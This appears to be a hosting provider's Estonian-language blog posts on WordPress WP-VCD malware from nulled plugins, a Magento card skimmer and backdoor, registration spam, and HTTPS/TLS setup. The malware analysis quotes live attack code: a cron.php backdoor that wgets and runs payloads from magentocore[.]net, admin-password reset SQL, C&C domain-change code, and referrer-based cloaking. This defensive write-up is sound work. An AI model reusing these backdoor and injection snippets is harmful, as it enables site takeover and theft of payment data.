WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Kui sa kauba eest ei maksa, siis oled kaup sina ise. Või sinu arvuti. Või sinu veebileht.

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

Külastaja vaade

Toimub see kõik umbes nii:

  • külastaja saabub otsimootori kaudu veebilehele;
  • veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
  • kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
  • … ja avab uue brauserisaki, kus kuvatakse reklaami;
  • ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:

Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php või class.theme-modules.php nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

Golce & Dabbana? Roolex? Sir! I haz very good price, only original fakes!

See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php

Ehk siis /wp-includes/wp-vcd.php saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php algusesse … ning class.theme-modules.php tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade functions.php faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))

Edaspidi märkab vaid kahe faili muutumist:

2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php

wp-tmp.php failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>

… ning wp-feed.php sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

  • kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
  • ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
  • googelda oma domeeni, siirdu lehele
  • vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

  1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi class.plugin-modules.php või class.theme-modules.php nimelist faili
  2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
  3. eemalda /wp-includes kataloogist wp-feed.php, wp-tmp.php ja wp-vcd.php; post.php algusest eemalda include käsk
  4. käi üle teema(de) functions.php failid ning eemalda nende algusest kahtlane kood
  5. vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
  6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning wp-config.php‘s olevad soolad
  7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).

Magento ja krediitkaardivarastaja (ja andmekaitse üldmäärus)

Veebipood on küberkurjategijatele hea koht väärtusliku info kogumiseks, sest sinna sisestavad kasutajad nii aadressi kui ka makseinfo. Piisab süütuna näivast skriptist, et ostu vormistamisel sisestatud info “kuhu vaja” edasi saata.

2016. aasta sügisel said mitmed Magento e-poed täpselt sellise pahavaraga pihta, Eestis oli nende hulgas näiteks Jysk. Monitoorides Zones majutatud veebe, hakkas mulle täna silma sarnane skript, mida laetakse näiliselt Magentoga seotud domeenilt (pikem nimekiri kasutusel olnud domeenidest Willem de Groot’ilt):

<script type='text/javascript' src='https://magentocore[.]net/mage/mage.js'></script>

Skript näeb aga välja üsna kahtlane ja esmamuljet kinnitab ka Virustotal:

jsnice.org teeb selle veidike loetavamaks:

Punased stringid viitavad chekout-vormi väljadele nagu krediitkaardinumber, kehtivus ja arveaadress ning need saadetakse kenasti magentocore[.]net aadressil asuvale vormile edasiseks ärakasutamiseks.

Ääremärkus: enamus Eesti e-poode kasutab makselahendusena õnneks välist teenust ja krediitkaardiandmete sisestamine toimub mujal. Küll aga olen näinud ka poode, mida see probleem võiks puudutada. Täna leitud poed said juba ka isiklikult e-posti teel teavitatud.

Ääremärkus 2: … aga kurjategijad on poes sees ja isegi juhul, kui ei varastata krediitkaardiandmeid, siis on neil ligipääs kasutajate isikuandmetele ehk andmekaitse üldmääruse (GDPR) mõttes on tegemist vähemalt potentsiaalse isikuandmete lekkega.

Mis mulle aga eriti meeldis ühe täna leitud häki juures, oli muudatus cron.php’s ehk failis, mida süsteem iga 5 minuti takka käivitab:

shell_exec("wget -c https://magentocore[.]net/clean.json -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c https://magentocore[.]net/clear.json -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");
unlink('./app/code/core/clean.php');
unlink('./app/code/core/clear.php');

Ehk siis perioodiliselt laetakse alla ja käivitatakse mingit koodi. Mida see teeb? Mõlemad otsivad üles Magento andmebaasi-konfiguratsiooni ning siis teevad seal järgmist:

  • clean.php otsib konfiguratsioonitabelist (võõraste?) skriptide signatuure ja kustutab need ära (olgu öeldud, et skriptid on paigaldatud Magento adminnis oleva päise- ja jaluseskriptide seadistuse kaudu):
mysqli_query($link, "delete from " . $db_prefix . "core_config_data where value like '$sing'");
  • clear.php aga muudab ära hulga (teiste ründajate loodud?) admin-kasutajate paroolid:
$users = array('1','1468177885','1470303373','a','aborman','acid','admin01','admin1','admin123','admin5','adminhendra','adminnew','adminray','admins','adminu','admin_bfei','admin_ihfb','afletcher','ajen','alexgvn123','alif','ameendering','Ameliaaa','an','anin48','anjeng','anjeng12','Anr_01','ardyan','as','asdasd','astroeh','asu123','asuasu','asulan123','Audi','azer','aziz','Backup','backup_35f69d','badcc','bangsat','berandal','bgades','bgross','biji','bschlotter','bwilson','c0krek','cahyodp','camuv1653','casa','cbaker','cecun','cevans','cgcf','cgreenfield','cknobloch','clayser','ClayX404','cmorgan','coco','codex','coq','cruis','cvanstryland','cwarton','d','dalexander','ddoine','Death','dede','dedeganteng','default123','defaults','defaults01','defaut123','design','developer','dhsjcsc','diablox','Dian2206','dkelly','dlc','dmorgan','dpender','dsacks','dstefan','eCommerce','edorr','ehooser','einlow','ejameson','ekennedy','erik','erobinson','eznt@i.ryanb.com','family','faqih212','FathurFreakz','ferdi123','fikrihaikal35','forme','frozen404','fwilde','geizkayusuf','gfd','ggrav','ghaz','gigihmhd','gladz','gmr','golix19','GolixGates1','google','gustaman','haydar','haydra','hell','hiddenymouz','hornetto','hunter2','hydro','Hysoka','i','ibizta','iko','indoxploit','iniadmin','irfan','jaja','jancok','jancoks','janderson','jayzweed','jbonnell','jdragovich','jefri','JelexCrew','jengel','jhemphill','jhogan','jhult','jmartin','jockerdz','jonson','jtappe','juancok','katon','kedaong','kehise','kenta','khise','khoogers','kimak','kimyounsin','king','kkruger','kmagnan','knap13','knelson','Kontol900!','kotack','kuyas','kwwilliams','kwynia','lalapo123','LastTouch','lluethje','localsystem','Loic','lthummagunta','lucu','m4tr1x','madmax','maganeto','magento','magento1','mageplas','magsupport','malang','manggo','manick','masthio01','mcopa','meldred','Memekl3g17','mgonzalez','mind','mlaudenbach','mlomo','momo','moza','mperry','mranupak','mrsakso','msas','msf','msivalingam','mtrudell','mturico','mwaldner','mwelbig','mwendt','nathan','nbrouwer','ncastelli','neqyns13','ngentod','ngentot123','nmccray','nnordman','noob','novara','nrussell','nzero','o','omyo123','ouni','owadmin','pak','paypal','pbk7695K@','penggunalayanan','pikri','policy','pujasucipto','putra7695K','r0cky','rami','rctioke7','rcummings','rdewolfe','restuser','revian29','rezafirdaus','rezafirdaus21','rhaan','Rieqy','rieqyns13','rkm48','rmiller','robert','Root','rseeker','s','sadmin','samikom','sav.admin','saz','sdunham','semprol','sgood','sgoodman','shansen','shayer','sheinz25','Shor7cut','Sihdaunix','sjohnson','slackerc0de','slamusga','smolix','soliro','ss123','staff.developer','stores','stupid','Support','surya','surya1','svandenheuvel','swhite','sysadm','sysadmiin','sysadmin','sysadmin1','sysmon','system32','systemadmin','systembackup','T1KUS90T','tadamec','tae','tamedeo','tanderson','task','teastmond','telgersma','terserah','tesdar','test','tfgh','Thole129','tomhawk','training','tvanhouten','ubehera','ui','upel666','uSer','VHiden133','vpotter','wajixz','wawa','wew','ybickham','youmisscry','ywigaraa','zadmin','zaz','ziko','zxc','zxcyou636','_admin','gogle','Nexcess');

$users_password = "how1are2you3";
[.....]
mysqli_query($link, "update " . $db_prefix . "admin_user set password='$hash' where username = '$u'");
[.....]

Olgu öeldud, et how1are2you3 saab ka prefiksi ja sufiksi, nii et päris selle näite varal pole mõtet hakata samal moel häkitud saite läbi proovima 🙂

Vaatame parem admin-kasutajate tabelisse:

Nagu näha, on äsja lisatud uusi kasutajaid … ning ka olemasolevate kasutajate – sh saidi omaniku, admini ja arendaja omad, on muudetud samaks viimase ründaja omaga, sest parooli-räsid on samad (algusega af… on seejuures lihtsalt ühe lisatud kasutajanime räsi).

Kuidas see küll võimalik saab olla? Hold my beer while I call Magereport!

See on nüüd küll demonstratiivselt mage raport – paigaldamata on isegi 2015 suvel väljastatud turvapaigad… ma ei hakka isegi oletama, et millise kaudu neist täpselt sees käiakse.

Ülejäänud asjaomastest saitidest leitud tagauksed olid üsna igavad ning neid ei ole mõtet siinkohal esitleda.

Kui satud sellist saiti puhastama, siis:

  • uuendused, uuendused, uuendused;
  • leia üles ja eemalda tagauksed (ei pruugi olla kerge töö, sest tõenäoliselt trallib seal juba eiteamitmes kuritegelik seltskond);
  • vaata üle adminnkasutajad, eemalda kahtlased, reseti allesjäänute paroolid;
  • vaheta SQL paroolid – jagatud serveri puhul piisab kurjategijal muidu ligipääsust phpMyAdmin’ile, et endale jälle sobiv adminniparool seada…

Spämm läbi Magento uue kliendi tervituskirja

Viimasel ajal on sagenenud Magento e-poe kliendikontode registreerimise vormi kasutamine spämmi saatmiseks: nimeks pannakse kuni 255 tähemärki teksti ning e-postiks soovitud adressaat, kohale toimetab selle aga uue kliendi tervituskiri.

Avastasime selle probleemi, kuna enamus spämmist oli suunatud Venemaale ning posti kohaletoimetamine mail.ru aadressidele häiritud. Parema spämmituvastuse rakendamisel ja veebiservitest kirjade saatmist piirates tulid esile nimelt Magento 1.x kasutavate e-poodide domeenid.

Tegemist ei ole seejuures klassikalise nõrkusega koodis, samuti ei ole vaja karta, et keegi oleks poodi sisse häkkinud: lihtsalt üks vajalik funktsionaalsus on osutunud ärakasutatavaks ja selle turvalisusega seotud vaikesätted liiga nõrgaks.

Magento klientide halduses näeb ühe kampaania spämm välja selline:

Siht-veebina on nimelahtris olevas tekstis osavalt ära kasutatud Google “I feel lucky” funktsionaalsus ja spetsiifilisele märksõnale optimeeritud saidid, mistõttu ei tundu ka link spämmifiltritele kahtlane (allolevat näidet on turvaline klikkida, piltidel olevaid mitte):

https://www.google.ee/#btnI=koli-suveks-meile&q=zone%20virtuaalserver

Kuidas see sind mõjutab?

Kui meie jaoks on probleemiks väljuva spämmi ohjeldamine ning teiste klientide posti kohaletoimetamise tagamine, siis poodniku jaoks on lugu hullem:

  • serverist e-posti saatmise piiramisel ei lähe kohale ka tellimused, parooli-vahetuse kirjad jms teavitused;
  • spämm saadetakse välja e-poe domeenilt, tõenäoliselt mõjutab see spämmifiltrite tööd mitmetes e-postisüsteemides;
  • tagasipõrkav post võib ummistada poodniku postkasti.

Kuidas ennast spämmi-bottide eest kaitsta?

Kliente ei registreeri mõistagi keegi käsitsi, vaid seda tehakse skriptidega, mis postitavad vajalikud andmed otse veebirakendusse (POST /customer/account/createpost/). Sellise ründe vastu kaitsmiseks sobib hästi CAPTCHA robotilõksu lahendamise nõue.

Magento CAPTCHA (võib olla ebapiisav)

Osade allikate väitel võib olla abi Magento enda CAPTCHAst (olemas versioonist 1.7), kui see on piisavalt rangeks seadistatud. Admin-paneelis tuleb selleks minna System -> Configuration -> Customer Configuration -> CAPTCHA valikusse ja panna paika:

  • Enable CAPTCHA on FrontendYes
  • Forms – vali ainult Create User
  • Displaying ModeAlways
  • Number of Symbols – võib olla vaja suurendada

Tulemuseks on selline lisaväli registreerimisvormil.

Kuna enamus kliente registreerub ostuprotsessi käigus ja Register during checkout pole valitud, siis ei tohiks CAPTCHA oluliselt müüki mõjutada ning selle võiks peale panna nüüd ja kohe, sest pärast spämmirahe alla sattumist tegutsema hakates on osa kahju juba tehtud ning kliendibaas vajab puhastamist.

Amasty Google invisible reCaptcha (tasuline, töötab kontrollitult)

Kuivõrd Magento CAPTCHA pole eriti inimsõbralik ja osade rünnete osaks pidavat olema ka selle pealt teksti tuvastamine, siis tasuks eelistada tasulist lahendust ja reCaptcha’t. Nii Magento 1.x kui ka 2.x jaoks on saadaval Amasty Google invisible reCaptcha, mis maksab vastavalt 45 või 65€. Seda on kasutanud mitmed arendajad meie juures olevate Magentode kaitsmiseks ning tulemus on siiamaani olnud positiivne.

Spämm-kasutajate kustutamine

Kui spämmi saatmine on juba toimunud, siis tuleks tuhanded loodud kasutajad ka ära kustutada. Sonassi veebis on viide selleks sobilikule shelliskriptile (see on käivitatav käsurealt, mitte veebist) ning selle kasutamisõpetus.

Mida veel teha saaks?

Kui arendajal on sinu pood juba ette võetud, siis tasuks samasse töökäsku panna ka Magento ja kõikide lisade uuendamine, sest eriti just 1.x puhul on aastate jooksul ilmnenud rida probleeme, mis lubavad kurikaeltel nii adminnina sisse logida kui ka neile meelepärast koodi käivitada (mõlemal puhul on tulemuseks poe täielik ülevõtmine).

Hetkel värskeima versiooni leiad muudatuste logist:

Oma Magento turva-auke saab tasuta skannida MageReport abil. See ei pruugi alati anda täpset tulemust, küll aga on teaduslikult tõestatud, et punaste hoiatuste nägemine aitab leida uuenduste tegemiseks vajalikku raha.

Ja loomulikult HTTP “pole turvaline” ehk kuidas veeb HTTPS peale suunata?  (sealt leiab viite ka Magento seadistamise juhendile ja videole).

HTTP “pole turvaline” ehk kuidas veeb HTTPS peale suunata?

Google on võtnud eesmärgiks jõuda 2018 aasta lõpuks olukorrani, kus turvaline HTTPS ühendus on standard mida ei pea brauseri aadressi-ribal eraldi esile tooma. Sellega kaasneb paraku see, et ebaturvalist HTTP-ühendust kasutavad veebid saavad endale külge märke “Pole turvaline”.

Sellist teadet hakkab kuvama juba juulis ilmuv Google Chrome versioon 68:

Oktoobris ilmuvas Chrome versioonis  70 saab see teade olema ka punasega esile toodud, kui kasutaja veebilehel midagi sisestama hakkab:

Midagi uut selles ei ole, näiteks 2017 jaanuaris oleme kirjutanud blogis Chrome 56, “Not Secure” HTTP ja kuidas kolida HTTPS peale ning makseandmeid käsitlevate veebide puhul nõutakse juba ka HTTPS puhul vanemate standardite välistamist:  30. juunist jõustub e-kaubanduse jaoks oluline HTTPS nõue. Kuigi meie serverite liiklusest on üle poole HTTPS, kasutab umbes 2/3 meie (väiksemate) klientide veebidest endiselt HTTP-ühendust.

Miks HTTPS vajalik on?

Turvamata ühenduse puhul on näiteks WiFis võimalik salvestada kõik kasutaja brauseri ja serveri vahel liikunud info, sh kasutajanimed ja paroolid, samuti on mitmeid võimalusi kasutaja võlts-lehele suunamiseks. See pilt on tehtud salvestades WiFi-liiklust:

Kuidas HTTPS veebiühendust kaitseb?

Kahel moel:

  1. veebibrauseri ja serveri vaheline side krüpteeritakse (šifreeritakse)
  2. enne iga ühenduse loomist kontrollib brauser, et ta suhtleks ikka õige serveriga – sest kui liiklust saab “pealt kuulata”, siis saab ilmselt ka “vahele rääkida”

Kuidas oma veeb turvalise HTTPS peale suunata?

Me oleme proovinud kõik HTTPS kasutuselevõtuga seonduva võimalikult lihtsaks teha ja ära automatiseerida. Enamus järgmistest sammudest tähendab vaid ühte klõpsu Minu Zone iseteeninduses:

  1. TLS sertifikaati tellimine – me toetame tasuta Let’s Encrypt sertifikaate, nende väljastamine ja uuendamine on täielikult automatiseeritud. Kas aga tasuta on piisavalt hea? Sama sertifikaati kasutab näiteks Majandus- ja Kommunikatsiooniministeerium, seega kui sobib valitsusasutusele sobib ka Sulle!
  2. Veebiserveri seadistamine selle sertifikaadi ja HTTPS ühenduse kasutamiseks. Automatiseeritud!
  3. Veebirakenduse (WordPress, Magento jt) seadistamine võib vajada veidike seadistuste muutmist ja teatavatel puhkudel ka pisiparandusi koodist. Vaata allolevaid juhiseid ja kui hätta jääd, kirjuta info@zone.ee (hüva nõu saame jagada niisama, aga kui on reaalselt vaja aega panustada, siis küsime tunnihinda).

Me oleme teinud üksikasjalikud juhised levinumate veebirakenduste seadistamiseks mis sisaldavad nii punkt-haaval lahti kirjutatud tegevusi kui video-õpetust:

Erijuhendita rakenduste puhul võib alustada nupust Suuna liiklus HTTPS peale:

Sertifikaadi tellimine ja aktiveerimine võtab reeglina umbes 10 minutit aega. Kui see ei õnnestu või veeb uues olukorras ei toimi, saab suunamise samast välja lülitada, veeb jätkab tööd HTTP ühenduse peal ning HTTPS korda tegemisega võib rahulikult edasi tegeleda.

Kui täis-automaatne protsess riskantne tundub, siis võib mõistagi ka lisada Let’s Encrypt sertifikaadi, veenduda ca 10 minuti pärast HTTPS toimimises, teha veebirakenduses muudatused ja seejärel lisada kogu liikluse suunamise:

Ja nagu öeldud – kui tekib küsimus, siis võid kasutada postituse kommentaare või kirjutada info@zone.ee ja nõu küsida. Aga võid tulla ka meie help-zone Slack’i chatti 😉

30. juunist jõustub e-kaubanduse jaoks oluline HTTPS nõue

Käesolev blogipostitus on peatähtis läbi lugeda neil, kes tegelevad oma kodulehe vahendusel kaubandusega, kuid see on kindlasti oluline teadmiseks võtta ka teistele.

30. juunist ei luba Payment Card Industry Data Security Standard (PCI DSS) makseandmeid käsitlevate veebilehtede omanikel enam kasutada aegunud SSL/TLS turvastandardeid.

Selliste lehtede haldajad peaksid 30. juuniks veenduma, et nende HTTPS ühendused oleksid seadistatud järgmiselt:

1) SSL standardi kasutus peab olema täielikult keelatud;
2) kasutusel olev TLS protokoll peab olema vähemalt 1.1 või uuem.

Zone klientidel on hetkel seis selline:

1) SSL standardi kasutus on täielikult keelatud;
2) vaikimisi kasutusel olev TLS protokoll on 1.0 või uuem.

Rõhutan, jutt on konkreetselt SSL standardist! SSL-i terminit kasutatakse nii meil kui mujal (valesti) iseloomustamaks paljusid turvatud ühendusi, kuigi enamik neist põhineb tänapäeval juba TLS standardil.

Meie hoolsatel, turvateadlikel ja standardiga ühilduvust soovivatel klientidel on aga võimalus haldusliideses paari klikiga keelata vanemate TLS versioonide kasutamine. Selleks tuleb Virtuaalserveri haldusliideses Veebiserveri seadete alt muuta sätet “Luba aegunud TLS versioonide kasutamine”.

Võib kerkida küsimus, miks me TLS 1.0 kasutust üldiselt ära ei keela? Põhjus peitub selles, et interneti sügavustes eksisteerib veel mitu kihti internetti, üks neist on nö “asjade internet” ja teine “skriptide internet”. Need on internetikihid, millel püsib hoomamatu hulk meid ümbritsevaid protsesse ja milles iga suurem muudatus tähendab meie klientide jaoks ettearvamatuid tagajärgi.

Asjad, mis TLS 1.0 keelamisega võivad näiteks veebile ligipääsu kaotada:

* vanemad mobiiltelefonid;
* vanemad või odavamad käsiterminalid;
* vanemad või odavamad multimeediakeskused;
* vanemad operatsioonisüsteemid ja nende veebilehitsejad;
* vanemad skriptid ja programmid.

Ülevaatlikku tabelit erinevate seadmete TLS ühilduvusest üritab pakkuda muuhulgas GlobalSign.

Üks sarnane varasem iidvana protokolli toe lõpetamine on meie jaoks  näiteks lõppenud kõnega ühest logistikafirmast, mille käsiterminalid lõpetasid lennujaamas töö.

Erinevatel andmetel moodustab TLS 1.0 liiklus hetkel 5-11% kogu HTTPS-i abil turvatud ühenduste mahust.

Seetõttu oleme otsustanud, et jätame vanema TLS versiooni (TLS 1.0) kasutamise keelamise esialgu kliendi otsustada ning lükkame selle vaikimisi välja lülitamise veidi edasi, kuni teadlikkus on klientide hulgas veidi kasvanud.

Põhjus, miks PCI on otsustanud vanemate turvastandardite toetamise keelata peitub nende vanuses.

SSL (Secure Sockets Layer) on standardina olnud maha kantud juba tükk aega tagasi, kuid lühend ise elab turvatud ühendusi sümboliseeriva terminina inimeste teadvuses veel edasi. Reaalsuses lasti selle standardi viimane suurem versioon välja 1996. aastal ning aastast 2015 on selle kasutus sisuliselt keelatud (https://tools.ietf.org/html/rfc7568).

SSL-i asendas 1999. aastal standard TLS (Transport Layer Security) versiooniga 1.0 ning sellele on järgnenud versiooniuuendused 1.1 (2006 aastal) ja 1.2 (2008 aastal). 2018. aasta märtsist eksisteerib, peale pikka ja vaidlusterohket arendustööd, standardi mustandina ka TLS versioon 1.3, kuid selle laiemasse kasutusse jõudmine võtab veel veidi aega.

Mõlemad on olnud haavatavad tänu mitmetele nõrkustele, mis kandnud vahvaid nimesid nagu POODLE, BEAST, FREAK, BREACH, CRIME jt ning nende ja muude selliste aukude lappimine ei ole lihtsalt jätkusuutlik.